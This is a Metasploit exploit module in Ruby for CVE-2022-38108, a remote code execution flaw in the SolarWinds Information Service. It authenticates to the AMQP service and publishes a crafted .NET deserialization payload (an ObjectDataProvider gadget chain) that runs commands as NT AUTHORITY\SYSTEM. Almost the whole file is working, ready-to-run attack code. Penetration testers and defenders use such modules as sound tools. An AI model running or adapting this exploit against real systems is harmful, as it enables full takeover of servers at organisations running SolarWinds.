## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rex/proto/amqp/version_0_9_1' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking def initialize super( 'Name' => 'SolarWinds Information Service (SWIS) .NET Deserialization From AMQP RCE', 'Description' => %q{ The SolarWinds Information Service (SWIS) is vulnerable to RCE by way of a crafted message received through the AMQP message queue. A malicious user that can authenticate to the AMQP service can publish such a crafted message whose body is a serialized .NET object which can lead to OS command execution as NT AUTHORITY\SYSTEM. }, 'Author' => [ 'Justin Hong', # vulnerability research, Trend Micro 'Lucas Miller', # vulnerability research, Trend Micro 'Piotr Bazydło', # vulnerability discovery, reported to ZDI 'Spencer McIntyre' # metasploit module ], 'Arch' => ARCH_CMD, 'Platform' => 'win', 'References' => [ [ 'CVE', '2022-38108' ], [ 'URL', 'https://www.zerodayinitiative.com/blog/2023/2/27/cve-2022-38108-rce-in-solarwinds-network-performance-monitor' ], [ 'URL', 'https://www.solarwinds.com/trust-center/security-advisories/cve-2022-38108' ] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Targets' => [ [ 'Automatic', {} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2022-10-19', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) register_options([ Opt::RHOST, Opt::RPORT(5671), OptString.new('USERNAME', [true, 'The username to authenticate with', 'orion']), OptString.new('PASSWORD', [true, 'The password to authenticate with', '']) ]) register_advanced_options( [ OptBool.new('SSL', [ true, 'Negotiate SSL/TLS for outgoing connections', true ]), Opt::SSLVersion ] ) end def peer rhost = datastore['RHOST'] rport = datastore['RPORT'] if Rex::Socket.is_ipv6?(rhost) "[#{rhost}]:#{rport}" else "#{rhost}:#{rport}" end end def print_status(msg) msg = "#{peer} - #{msg}" super end def exploit amqp_client = Rex::Proto::Amqp::Version091::Client.new( datastore['RHOST'], port: datastore['RPORT'], context: { 'Msf' => framework, 'MsfExploit' => self }, ssl: datastore['SSL'], ssl_version: datastore['SSLVersion'] ) unless amqp_client.login(datastore['USERNAME'], datastore['PASSWORD']) fail_with(Failure::NoAccess, "Authentication failed for user #{datastore['USERNAME']}.") end print_status('Successfully connected to the remote server.') channel = amqp_client.channel_open vprint_status('Successfully opened a new channel.') channel.basic_publish( routing_key: 'SwisPubSub', message: ::Msf::Util::DotNetDeserialization.generate( payload.encoded, gadget_chain: :ObjectDataProvider, formatter: :JsonNetFormatter ), properties: { message_type: 'System.Windows.Data.ObjectDataProvider' } ) print_status('Successfully published the message to the channel.') channel.close amqp_client.connection_close rescue Rex::Proto::Amqp::Error::UnexpectedReplyError => e fail_with(Failure::UnexpectedReply, e.message) rescue Rex::Proto::Amqp::Error::AmqpError => e fail_with(Failure::Unknown, e.message) ensure amqp_client.close end end